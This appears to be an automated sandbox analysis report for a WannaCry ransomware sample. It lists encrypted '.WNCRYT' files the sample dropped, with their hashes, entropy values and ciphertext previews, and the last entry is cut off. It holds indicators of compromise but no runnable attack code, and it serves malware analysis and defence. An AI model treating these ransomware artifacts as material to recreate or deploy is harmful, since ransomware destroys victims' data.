                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):2504
                                    Entropy (8bit):7.926781174714431
                                    Encrypted:false
                                    SSDEEP:48:bk9WI4jd3BhGJihTo9GypvwGUUDw0sHM7VoKWJ6xzZ/teoibj1394bX/J:o9WIkzh9o9GSvwHUDvsHM7OFJ6xzZl4a
                                    MD5:0FF9B544873E3B55CFE0EB29BE678527
                                    SHA1:E4097DC06BC5048C0C840A339ACE5D55EE4827E4
                                    SHA-256:1CF1AA33C1911E8C30468B01FACF134D9F0FF88E4D1A2929036A18D3433705E6
                                    SHA-512:7980BA8A03400D09DAE92CA6A8FCE9B164D270661800CEFBFAE321130B33166561BDB9BA2FA2E195A58D2A949B5F569B35CA68D2EEEA5DDD628EFF70EE200EF2
                                    Malicious:false
                                    Preview:WANACRY!....8*.][.(.x`-.5.or....Q.(.zW...|t.....".......]...\........0.SX...].U... ..^3.R%....b..M.y..q....<........R..}.....F..4......L..a..Iu:.o...u...%..`.z.)Z..wQ..{...5...|[....\?..7~Pp..0..o...f(........O..A..._k5...?.dE..*..&A...Y./..Z...7..k.K.8>............n...Y....2].......&X@....[...3O.8g9Bv.s18.." ..f........E..-..Cni.;.G..%.R...?..d__..?..+N].*..x.eT....3.y.c.1.d.. .......w..;.3%.T..f..5....%..4...'..2.w.....C^....=G..{..uR..w.s...I..y.."<.....5?..9.V.PHn..*.._...H...U.x.....YF3.)..Z.....}.$?=W.. '.!...~.lY.....t...5...O....b,...B_A|..Xh.;.=_..!.M_..9...<R....w.......[.&.3..R.>.lo.5..E....o..A\.U...O<fU..b.&.l7X5g?...OM4....|.$Z..B.WT@${....f.$m.r9...k.OKj.x...pEZh.....)I.r8..lg........*.)..@...g.......X...}...~G...t.T.....g]6#.q...UC.I..4...*]..BF......g...n.B@.W..]V..".f...^......QA!....@...H.Sb.2.T.6.>.SQ...F.5...m.R...yT.9..i.....%..ox'rq..b.."^....\..AT#eR..+.3jn.fW....RIm.7.....G.d.~s+!.e_Ef)1Z.h&".^....,J..w.k.m..g^ ..0.Jh.b

                                    C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\common\locale.js.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):2776
                                    Entropy (8bit):7.930390538691324
                                    Encrypted:false
                                    SSDEEP:48:bkJoqqZI22QodJFPqVUnPWqBr/E6aEX78fkyTLx3ZdwarEJN6iKzsymKPImYHAsT:ou5IFQodbqV2r/RaEXI8y/6arEJseymv
                                    MD5:DE693CE013D20770EA1A9D83F849E0F6
                                    SHA1:568DFE5CEAE6DE72C2713412C52927DC3BB0E3D7
                                    SHA-256:34C4D7CEE5B7DCC2E7F8EEC1485E7B2C3F53A490C49921EBEB598862A7F41F01
                                    SHA-512:D444283E8666FEF96C261B37A87B824D78558B5A973E5759C46AF3C885B403F618607AA44D2CFA8C5AD07101DFB5E3CD837DF934163B5E694DBA0607F7525987
                                    Malicious:false
                                    Preview:WANACRY!...."..~QD.K...NIk.e.X}.Y.B../&.-'..M..;3b............0$...1...t.D...w.;a.Ot.M.;'.d.p*............gJ.kt.....Bup...(...QazY.q.l.{.......I.R.kfu8.].4.....Q..%.(=|F.G;...?..U..G.[J..a....3..0.P......+2.&....v....}...r...R....y.F.y.m..m)..h...KG..~./..............y........)...6.?.>..._H..`:.~..3.R.s....Z.J...8\..f1.A..(9......y...?K..c._...=.X22kZ....KiRe;....PO...&.O..|.....L9..i&.4}....C9v...8S...J.j.C....\.....J`...3u.wA#....u.iFU..T6b."1.|h@r,.N..t.i..._.iJw.`...,.)|.5.6Y.......)>2....6G......@b...J.gkpBa..C,.y/...7....Fv......t...O.*BO........L^..!.........{...E.........4d..[.q{m.c..vY>n$..b...].....r6;?..[...O..q...&...u...P.....b,.Ci.v@.&.....U.F..^......2.7.xk.Y.7S8...6O.......>.]...#c||...*.....q...~..)sGZ..Jez..,.J....F.=W#_...V.`.R.y.4...2..K.....Ul6....X.fqS.....C....)...$h...."T.x'..^".!.@../%h./M...Hv..@.....tcD..)|.{..+9...A...P.r..Oj~.`......n~.:"....-)..4.(.`|z.|8.....8....sVG;.Vl..f.K;.-.|a...o.k../.....g.K..VG....gV..

                                    C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\common\loggingApi.js.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):3320
                                    Entropy (8bit):7.9391400677920165
                                    Encrypted:false
                                    SSDEEP:96:oEhpK8sdw+EWAIrxaiStCN2WbuL/7a1xj5X2j:lKdgW3rrbDbuL/7a1ZV2j
                                    MD5:0EC4D7506994A3D042DB6361E7A13F5C
                                    SHA1:F6317DE2B41B9B2394ACF0C73EECB7B61682744A
                                    SHA-256:6FC928104EEC4A3D52E0A7EA6D26C36D451F1436406F1C37DA47EAF80C9A7E10
                                    SHA-512:43306B310434608EDDD8C511E6E7C2549BB3B16EAA7A1AA1E0459F943768764A25F427D7C895801C04DEBD14F13BECDF4D075F56660A40AF4B5FC85C5C6F4A0E
                                    Malicious:false
                                    Preview:WANACRY!......{.9....\7...<.h........k...0^.C.kG....Cr..Jod.t.....!.....>."...<.p.*.....g@.....3.Ju5%.x.C,..bF.}'^.d.n..{V.3.....5...9Un.~...;..u..t.....v...E..2....=..DI#..?7_.).M.(...9?....GV...d.....jC..).#.o...}&(...{....V....B.s...uva..X.T=............?%.33.&S.....7.G.,.........w..?Q.S.#U..."..1.....1.J..3s .....'r.T.!.>.#...+...9...-..2.t...q.n..e|....&Y.h..7.?6..e...^\...d..m*....3[1.a.d./..m......^...w....C..@<$..+...,.Q.. ....0......X.~.......]...1..P....N....x.;..EFF].<.%>...,lT.J*.YFu..'.syz..A.L.2.........Op.-^p.:h.|..^...o.../....0.K...n+i.C......>.v....Y....4.."..y.....g......Hq.a....bp............*.n.<^H1.6...C.OA...@.Ohl..~..]u.Ru.Y..8...rL.>....]*.....4...C...b..z.#...6{..........~.....9.A...u.l.#.A.Er?x.t..S@5..J..rkZ.b...k.k..K#..~.QK_&-e.I.D...*<&b..?aE\{..tO............s...."nB.A.W.!v....BZ-......wz.:O....a.;2>........zt.C.'.K...E...@...yr5.|...$8.Q.._.#..z..h<.%...is.I[.4M;U.G.....'...2IA..."z..S.7...m...

                                    C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\libs\jquery-3.1.1.js.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):267480
                                    Entropy (8bit):7.9992601326158725
                                    Encrypted:true
                                    SSDEEP:6144:c+Kb3NjUfcVw7nOKMhpkRo5KuOTBUK7VBj+VigIIWx5v:ojUf2w7OzAoktyKH+VHa5v
                                    MD5:3A678113D0139A26D03CC7432816C0C5
                                    SHA1:2E4312B7669B78A169727190238CDF3E6274AE2F
                                    SHA-256:97E5A79493CC52EA0A49F99ACB2EE2BB4BB5FEA473C7B3AEFC9010990063B3E6
                                    SHA-512:DEA998FB9BD92B876938A7233E657C46DB98FCE7EA9E4589DA8450AFA17C890A47629D8AF6711A7E581CAC236EE13D793907E732034A8320638EE0C12B770ED6
                                    Malicious:true
                                    Preview:WANACRY!...._.....($....9..^*.?.c..|..C.>..u...a<.V#..,..a.:e.....t co[..Q..r.hN?$..^=......^{.fkI..K..LD.@..}$k......-s0.....5.......\.-.4..O.7....G.22..V..$F.. F.+....t...*...N....K..Il.6R;X?,2..F.....?[...Zx.s......|...t.T..[....z.0.....t..F.....g.O................Tt{..h......[*`..'...(&.71..ZA....jMc;....Y`.....,..f9.Fw..3cK^....3.RJ._.......d...'%1...>.6.T......@......f.....nm..(...i.@.C.&H.f..<X.~.c..R..&..y.ilK..l...7.L......+0.[8._$..<g@.2.T....d7...v..(2...<=.....@2.TIF.84q.....!7`W0..`.0I.lt...SVI.0.}......6Z..M.W..W%.......J.l'..4....3.e. .........|.lP...~..X.....7)..|.]...E`..~..a..~..KC.<...*"."..)?..c.G.v*.q.....F.J.`%........CP.OC..._......F.E....(9.....Nk.........._.MV9}...rj....... .......'i\..<.L..%.G.Y.K.....K...n3..H...L?...;&........e..t.q.x....^...A....}.=!}...w.K.....-...WC.?........N>.uOB....}>.>o.&...m..P.M...W.....*...;..t%....5s ....c.~.../3.l~S.h..#...G.z8.gf....8.H..j......._.....!.......[wL....2..I\bo.....

                                    C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\libs\jquery-3.1.1.min.js.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):87000
                                    Entropy (8bit):7.997639082138119
                                    Encrypted:true
                                    SSDEEP:1536:AWfhkKnVdCHpnE7slbUSaOQKjNS+b413ooBnx:AgqKXopnKaUSNS0aYW
                                    MD5:FB3D3CB755F816D48E0C97A4892C029E
                                    SHA1:DC60FA7707D521A84AB180BB79A8FBDC883CB708
                                    SHA-256:1B61790977D8C8A0386B0A163A3B0E85D86EA3D5A7E823B9C48627BF154667E3
                                    SHA-512:2D3FC946E21EFCB4EB9F653E1FFDFE48C974133A23E43A0B3A903D6059B4B0F1C4A9E8A4A71D5D96E056EE3FD70797C49569464E70CC75BA66CACD4DA33933C5
                                    Malicious:true
                                    Preview:WANACRY!.....J....I.... ....Vx$.guV. .2..3*|.[U.^..\R...W.DE&.fr.8A.|..B<..U.t`=....aRG...Tw....'F....|..f..............*...W....=..._.2\....~.<U.B .}e.,ZA.......*..4..1'..{..%..R.<.e.j..E.Z......s..s...[`M..j......1p.fa.<7..K..u-Pv..j..I..Z._.~.k7..v,.o].....R..............G.bu.}.9..%..G.;k..&..D...N;>...}....L....*...[.L....)...N.+%......b...y*x^..V...[Vvx.}B16........R.B...Jr.W....b..W...[M......V.cs.....%...n....a1..Tl.+=A.0.X..2......u..n"0[.. .I........e.j..CZ.@"P=o.j..%....R.J.3V.....n.c.....>.DU.'....BQ%u...Z{}!..=L jl]..@.t^..?..#5..Q.#....2..s^R.K^W.....)D..<."&03....G..*........t.+.Z.......`$.w._.|t.)0DAOu. P.4...]..2Y....z...cD...PJW.........oD&P)G.Q.S.)...H....t..LZC...^...F.... .@s.W7..Y....B......z....3.c.&..-&.B4In.jQv.Tn`.....h....G.._..L...xkB.^....Y...J........9F.....^CP.u...T[E./..#..(....i..y\..Z.2.!:.....Z....q.aDd......*.t_..(..i.cZ..p...1...X.O..H..R.*P~XTH........C..2|G............:o........S.:.N...&&YL..\uf.r|

                                    C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\service-worker.js.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):3736
                                    Entropy (8bit):7.950135377828795
                                    Encrypted:false
                                    SSDEEP:96:oEboQj8gzs1VAKK3rtCfOgWj1SeZdQhV1P7SkVvpwY:bT4g4VAPr63zeHQXB20wY
                                    MD5:69F8ADAF2FB113FE2FA0CEF41977E9D3
                                    SHA1:63BA0649048CC999F4DB1F9177FF7D7EB72CC8EF
                                    SHA-256:9CB202E504C951730922A92BF8AA18DC64E8ECF9EB825279AEB09C6EEB0A08AB
                                    SHA-512:1D5979496D57FCD24A7AF91AC9EC983870549079451968AFE1DE77AA5A11699CF287CCE044BD7B6F5121C84329F2D61995B5B31DCBD45D7CAA4A08DA8FD55E86
                                    Malicious:false
                                    Preview:WANACRY!.....|.g.r...t.Sr.'@<..i...H......W.....5...B{....FoyM.=.g.O(.~....![...>..... ..F.E.4}.....O..%......MD[9.}oM.r.......7.+.......Bq...w*a..M......rG.PU._...H.y>X?.b.fG.W.....\...........g..Cd7l...;..<.@q..}.D.&jAU~...C..-..........H........3.m.....u..........V.........R...q.{/...*J..{..T.0.P.w?P......y.`.\.L...!...X.&fh.r.5y...:.....Bc..?V.C..6....1s....]........NH-.nJ.....^[..-u~.3.J...e..}.|.s....j3../....../...5.....Iyy......\..;sBPz.W...Z....}.,. #.h}[D.7h./6..a..Y.......Ln...bK........y1.S..G.K_......h...e...O.T.....C.@...lg.D..R7+..J!..In.{h..==...2|..W.a%.u.....'..H.q..p.0..<...5..3.U.....M}....U.:.d..[C9>DL.7.}.-..&s(0.)...s.%.u.:....:p..}.W.X..f.zT8j.x..VH..'eK.L....9.......Q.x|..Z.....C...G).......@Y.+.Aj.T......Y..6D.{9....M..HX?s.s./..QEd..t.M.....\M..+.W.m...7.;..=...T..-..Oy{..........t..i..}..Y))J..%.9{.K......g.=.,K..f..*MZ..od2....r...h.s..C.h..#.57w.O...R.3.l.6...N.../...)o&R.C..k....E.....K..Z,..``..G..L....0..

                                    C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\sw_modules\common.js.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):10296
                                    Entropy (8bit):7.983611801433919
                                    Encrypted:false
                                    SSDEEP:192:f2VyIDjJ9txx2jzdgxp6wzPMJXtJdrnOE+VdYAcNYpYcNX7d7x:uV7J9tD2z8dkJbkE+VdYPYlNXZ9
                                    MD5:269E92646A07D2B4D535B63DA55B47D5
                                    SHA1:C5A2D687F76F517DC3227D3447E0FC5FD31DCD09
                                    SHA-256:2DF5B598586EC9636C78B3992A5540699826D51FD9FA660F9E02D084B0B8FB56
                                    SHA-512:7DB99B072A093299360A7640A484CBB653BC9E942E1E78E829E1F4297B85A57A65B29260E3AB9EEC1A2BD99560EA9F353DDFED4BD9A7D66875692B5C12738947
                                    Malicious:false
                                    Preview:WANACRY!.......l|_1#q....c.j.......a.../@.Wq..3.b......R@P...{86<...|.^....d.0..v..8...u...3.O...o;w[...f.7....M.".....}@`.5./0.^p.i%P._.p..l..1...0d.r.lfW....3>EB@..u.M.>..Y....#.b...........S......NL|H.A.(....gj..v.mM...W...U.M.o.v>....O+....e....tW.B.5......'.......v.E.5..t.....{...5...C.....a-C..xk...{..!.....J.ucf..(L.}u.Fd0.^2.O.......Y.U....3..0d.D..P.5..y.(ZK.+}..C..w...1&.g...(Kp'[.....:[u.g......R.}...rpu..J..E.c.Z.aN-z..]....$...y.U..l-f`.9.e..._.f....?.F....3hU.}.z.......Z_...2C5.......q..h.0.i.1#.!.a....8 ..~...m4..B..)..:...F.(a..]..h=.!....RH.H.9b.+...T22.."..(..#.......X0Lk.c.'..5...G..D.9.]|<3..f0....".S+8_......kl.~...sN....D.&......!..i:..g*..4'.}.=}J8....q .....}..W.'Q.........:..R....j........>.}.5...K[e.Sjv.6..>.C+...c....J.5N..l....t&....x..5.e.v.9fE...3.eO....)...i..',.....#F..._...e...K. +.....&.v........*_#..../..=.}d.=..}.......s.O.m......*....B<....1....[..xu}...+0../..,4.B~..g.K_k/.?..;.....X!.=..PU.u...I..!C}.v.,.j=DJ$.

                                    C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\sw_modules\constant.js.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):2104
                                    Entropy (8bit):7.891761983923329
                                    Encrypted:false
                                    SSDEEP:48:bkkbhKKxKRQZybOlTbcB6aLsrH43xfw/3mfZoTb7todMchTCp4HspJL:oCLxK6oS4VAH4m/mktodMchoJ
                                    MD5:A9086019C4AA380C3E1F112C0164A461
                                    SHA1:67CF443C6736034E23A0A138B272E8E69C008D3A
                                    SHA-256:05FFF96DC5B35A2728A5A777717C86E90609F0CE20ECDE8CE5F8846FC1115916
                                    SHA-512:4CD8B14952DAE75EC3C4BE611B3E017CCB33FF8B2C57EB5D063DD55DAAD73AAF0565DB05964D996621F76B22614C4D610B26AF349DC0B0A3D7892EAA480079D4
                                    Malicious:false
                                    Preview:WANACRY!.......v.....D....Pf3..%../:...............52.....i4.`k.|..Z)....._.vE.(.E.^;"....8...2.SB.].z..F...o....f..Tj>aF.`K....u[.... ...........~...cp...$&.2.t.<...W....%_6...Z.uS"F6v........"..JJ....D1*..}D......._.2.e[Sd..r..a[Y.K.6......Xdd..m.*....x..............K..._...ie.....,..-R.=.!M....o.A....=...7.WgJ...6.C.....o.[.[.z..Dh-;...T...J....,.Z..X..^.n..V.....z:..?......c&{6z..v.a...H..WB.".Gn.M.z)...U..<*=\..@...M...=..X.),.a.W..w..z..>.0d.&..;+jQ.X.`_5[..."S..+>.....T.R....F.B...^H..... ..A.n........W.D\S.R......N.T........a......(..2.....B`....sCbH..H...._X$R........s.*..A.)..H...1L:Dpi...m.X..Q,.m...6...'H...v.c......>2AhQ.q`dE..Z>./.~r.T....X...z.....n.V4.h."....gf.O....c..r....3.=.....CP....T...M.<.........n'.h...&.mO}..|.H..9.5..@...4...#..B....&.s....*.v.$...Tm.....X..I.K..q..C...].......\.\..>.....iSQ......h.u..8h.......Dp8?....@...{....P..O0."A)..Ky4.k2m),H.a....d.&..&O....k...q..C3-.H.........8....e..|SpX/5~.

                                    C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\sw_modules\feat.js.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):2808
                                    Entropy (8bit):7.928051206752584
                                    Encrypted:false
                                    SSDEEP:48:bk2hxz3iiELXdi3DH7Ptmq7tIeN5UQn76ue+nY94JSa/Ik6yvpopdFe58yJ5JVF5:o2h4BZUEq7rmQ76RpaJSa/8B6JNj7Z3
                                    MD5:264A94E9E0FEC54C4CA63B8A6364EFB1
                                    SHA1:E6272E55AB1AD9FE21C7CEF82E9F5E7359C28D6B
                                    SHA-256:4D39794B42C55034ED0CFF02E4E42C8576BF1955E1122F4355CE45308D01F0B2
                                    SHA-512:7D3641FFEC4E6B06D3970ACB393A888C7F5BF2E4B0BF48B49EC0AF5661135B8F92694382787F3E8329918FCF999265ECD96DAC0816F91BF541416C886DA572BD
                                    Malicious:false
                                    Preview:WANACRY!....}........)....&..F..>..d.w..gO....]..2.[..Wco.R......"..........}u.T..!...p.u.$. a......w..1...0.>.TA....8./j........mr...........\."S.uY..M.../...u.c.U...>1m.1.;..jk...>...}}...C..<R..m!.bw7..I=.^..`.j9..K....`.[...B...X.....7..PK.....ei...g.~x............Zm......._O.:..o....c...9......0..].:...FaZ.ZT.F...sR.wd%C...y.ftD..#H.J.zsF0..9.. ....L.F.1W!...~.n.....y6.V...GXO..a.,.f.?.&.B.......974Zh..a..?.q`.7u3........Z+.k....V~....Uo2...G.n.p.i.....5..N..3...O9.s..U.E0K..Z..3..N.V...."sV.!....].}..NW......(.Y.1.s.1.W.\ .g......2......%.acQ<o.@,....H.[.....K..KC-'..x.M..~o...3>....L.G.b4p..1.......~.c.......}.-....-.#..+~Qv(.g.oH..Y.......*Y...7..=..^.?.X./.._Ej.;i....,......l....r!....n...=..;5....]I...%U...9Y..)57.....[....?,.FSF.]..j....9...6.0(....G.N..!.8..bq .\n...+.9_w0..]......#W.k.&.X..8soq~#<.K.wCY..UfFz.#...V...D....WK.-..6.Z.4&.f..]..#7.Kt..>.3o..bw..0..........t[...^..55c...;...)P6.L.......j..Y%..m.*.D(......V.%.+j

                                    C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\sw_modules\floodgate.js.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):4792
                                    Entropy (8bit):7.962829109810507
                                    Encrypted:false
                                    SSDEEP:96:oJYU49ehj5Pl8dKZql7+63wRMY7kxYsnnVUiSZTj0ewN/KkeUlJOs:U4UhjD8oUl/sJ5snnVDS9AeZWl8s
                                    MD5:0B78CB9F6B93005F62CC3DF8D2643F35
                                    SHA1:E0ADBD2DB10C8F5932FE069606A5441C0801848C
                                    SHA-256:93F14404EFA657238C4A7DB92EFC64D8DF97EC6F15F0C79D9F9EFAEE6A6EE9B1
                                    SHA-512:06EE1E853BBC8CBAF4170FB00A230FBC98CED72132A0FCAE92D380822EF494381D48E0CBFC654C3AFE2B25A8ED4796468DF33474EB3792DA7005A9B3C4A62EDC
                                    Malicious:false
                                    Preview:WANACRY!.....I....|..Wrr.J..g.=.G.......AJ..$V#.vn..eE.V"...\..%.O.2.R.*|.\.....PGg..a/..8.....^......t.^.}#.6Qg....2.......!..BW.m.:V...|.B..0t.u$a.h..W..b(..v...B..Z.`.7z ........-m=0N.....S.e%...ag...V..../l..z)..A...a......'.k...xf.T2|I.:8.^i.e....g..=^..O...............]C.6%..m.3D3Z.S...Jq...q...Fw.S 2..b.p(..n;.+..*.i%.5.x..4.$DI....-....`.~;."..<.g"d.7p.....;T -.....O..2.. ..6.r..nz..*.8.^'...B..T...|H....k..;...P.o.m>...~+..U9..U*.jj..@....5......l..F..gi....Q....,.....gX..Rmdm._th...F.d ..v..[.9*{8.u..GF.}.........c.LRj.0`E.....GY.*.....B.4...o.....%....`...U.d./'y.....>.;.>7......(..H~.Df.,J..QH.{....e.:3.-1C.=.i~._...vc....x.x.....v.0.?dQ......X....S...}............c.:...ml...7X....)..<.n{...K..`.z....b....vUJ.N..4...`......?<...<..>.r.E.).uE+.J!.t7.....x.Eey....)..~.%...J..................s..%......D.Z~#..pb..p.]...f8....7.....Z..*.NdP%oRqP.PX..P.Y.v.........@......w...Pe.9T...E.C..>..W..!.Q.............e...&.*....#...9N....

                                    C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\sw_modules\hydrate.js.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1864
                                    Entropy (8bit):7.899911400667927
                                    Encrypted:false
                                    SSDEEP:48:bkshKBillt8bqU9wyphns4cI6rPuvBYhDgAuL8IdCW4gI4+ze0:oshKMllxU9hPs4ir2vBYxH0FCW4v4+z9
                                    MD5:DD4B6DE6668154964E65C57C87570897
                                    SHA1:BA9DB5078890473308674B904561E1AD719F7ED0
                                    SHA-256:B34F30FC0FC29FFB71F3C9C8584C3D2974360AFF475E10AFCB10480B4972149A
                                    SHA-512:5EEE286E0A9006692D026DB68EB3BDB3A6AFFB0F0B239EEFD6E90AF5BDCB98F0F16A0F0693FCC5C0E6AEF4296DC5FF4673458EE0EA352CCBBEE033FB1A835A95
                                    Malicious:false
                                    Preview:WANACRY!........{.x.....s.v.?x..+.!]........>5..h...|a.....A.TmQ....@.......}k...7.S..U.i..&-.Y..`..l..4Oz<.2...........8.r......e9|.8).*z.U...k[...^.o.OHt.`.2.N2... K...;.......!.Tq..?m}...l.y).6...-.fV..[..(.c.....;.|.R.............t.....M..3z.g......".TT....-........].Mi6.]..".."Y.....5..)...G....c.5.v.]..D.e..Ou.X.lO....I..LR.|9`E...I+f.T=.m n)6....'.Wn....P..L.....d....M f....t.u..m.-.&..8...+...m.3........&.N...zS...|cg..R.$.SJ......o>.(=.4.H@Y..cN...<.jt..N....0.C..........>.C.!.ST......j.....S..#..i.>.%........_.@.Or..N.@..i(@....v$...!r.A..&..-\..^WV...\.e3....Y-GF_6..a.E|.R.?5D.Z.]...H.....n.7.i.Si+1..B..v.l~.Z.c.VQ..........7(r......aR..T3.y.....Q6.:1.....7R....?.2....eq.(.p|............y.....f..H.v3.c6.g/.;..G).45..'.=...j..........Ai.._..N'kw,.2.2IC.d....!..>..+..OB.(.,o...w..4..E.......].y.p]...\T..JM$.y..q..|V.....x.vY....=D.r..0!t k...gq~B...........".D............Q....LF..y&..M.....z!5.w/.W..FD....B..@..!1....}.-P...>S.O

                                    C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\sw_modules\polyfills.js.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):2792
                                    Entropy (8bit):7.938274626930637
                                    Encrypted:false
                                    SSDEEP:48:bkBgwBxlxf26rFCXq47FOgKLwHBqLJryqzYnN/oZSJeHkFgEe/l/OQPYTLI6:o5xP7yFmLwh8VSdoA+y61OEYTLB
                                    MD5:42314D13AE87A498469E912F87645B70
                                    SHA1:9A9A943EACD54B2BE14F86BDC98527D62A6E7A18
                                    SHA-256:6D66773E0080A5E19095BF192D1456406A78ED12D5B1263FCA64D977B680298B
                                    SHA-512:62AE9C8EF6EADB0BD2B6335C2E102C36E886A82CD0550B8D1D0E1C440FAB3F1CBC63912AD91DD535712F6D97BEBF632B563990E4B358FB3116F68EC3A059948D
                                    Malicious:false
                                    Preview:WANACRY!......sT....x..#R.A...V...c.K.x..........Fvv.R.->.AY.1....J..82CuA...,....@..F.;....3`a.k....Pgw.CuG..t.q.....:S.JCu.G..8...4....Q@..b$.#VM8B......Es..(>Q...+.L..k.u[...,A.m.1.k.u...:.A...HfJ'@.U(&.l.q}.R.:.....K..G..N...e^.2.K.....69."..^.$i................*.bH)w0..~.Jy)...gQ..Q.X.B.+..+.....W.6b...x...D'..D......_y....9.<l...s..._..&.._T.g.q../.F..B....]q1....c...G.-.@...r..c.......n..E.......4.1-....3...K?.n0.......&....'W...2d..]......dg....Hc.G...A]$......F....P."\Pj9.j.']...D.....{..8;=.....v.T......6.=...@...F.B...3.*-.......%..!..TWm...Lz..F....r..[.=z..h.2.E..lN+L.............0.%....o.....S...F}.'...w\.y...h@.VdY[.Ex....Yo......u...T..Y........w...>.,7.....J:.h...H..F.N..H.<B/.......D......U.1...=.mP.1....*...%.he.s...k.O.E).>x...a.^..Oo7...o..#...(uz...A.D..4.*Fu..D.71.C}.7.WLP.:..T0<........1sQJ.......K... (.Z.....C..r..O..,.P...../.R.~..%..U.........<..i.N...c.k..d_Z....f]..#y:...K..X.:..jLO....3`.W\.G7\.5.Z..}n..;

                                    C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\sw_modules\proxy.js.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):2328
                                    Entropy (8bit):7.918345189860965
                                    Encrypted:false
                                    SSDEEP:48:bkZCbQmGW/UwJgesUYxZ+SS6o4/n1OIK5hWw+lRj/ZIFFzUe5IZ:owbRSwJExZpd1Nxuhal96rzN5IZ
                                    MD5:E73FE394061CF7125A7A8A655E695EAD
                                    SHA1:8B966BE7F72D5F3BC986F4C1FA46900C44CDC291
                                    SHA-256:BAEADF02BF84DB6265D8CFD1345ED592D197BBE3C571B6EC7D5FBF6E2A36FA4A
                                    SHA-512:4DF1EEF7EECB4A47DB4AB58FE2F7D551E0B226C740A701A1AFF783C771ED6F2ED89DAA93FBAF3A5F62963D4FC65D2E0629DA5387EEFA89FF2F26BC941C2D6F9B
                                    Malicious:false
                                    Preview:WANACRY!......o.!.........J...L1.-Q.@U.M%.6..3..........;.=.S..CI.o.m.......`w..E7:B..%..........o#.......c..b...e.\..\..k..b;..........K....R'.H.C...f.q.......L....J..>Q.d....S...c.H.j. H.......4.9,tXSK.I.]...GvR.%&g.\.....A....M.........b.!.fCA...7@V.............7Ba..D..Y...(..k...-...j1..;R..p..h.../..A.E..oN...Y3..1.Q.w.SS.T.r..Do.8...Me.. ..w.....".C.......P.x.}-..0.....1....kv[Z......B.....#........8.....-..`q.V.@....%E.s.w..9....3..@.d....J..#|*....o>be..;.......%.(+...I.X3.K$.=....v..x .V..ob.....I=..f.dpm.B.;...&%P."......Ek{N.n..r.KN...@.5....l.U.0y..{....S.=I..9...v@.9.e...AZ9.C;..kc.eo.>;Z'zC.:..;.6C....M.-.r.r....u.....Y...%...o...<.|.u.......y.m..}R...3..}.....sE"a.2...7-..u.E}.3#..04~..|_......3...).C0..E.|.0j3IU.......K.MI...:J.r,.g..2..8.R...w..$...ipT..|CFGc.}.M..h|\.....se.).f.p.........d...M.q.~o^....[.N7..TTfIg/./........5..g..j..v..r.n.Y..!Z.g/#J........g[^j.{.p.}.....> ..cd.........u..$~....u.....6B.............

                                    C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\sw_modules\session.js.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):9624
                                    Entropy (8bit):7.980891400374462
                                    Encrypted:false
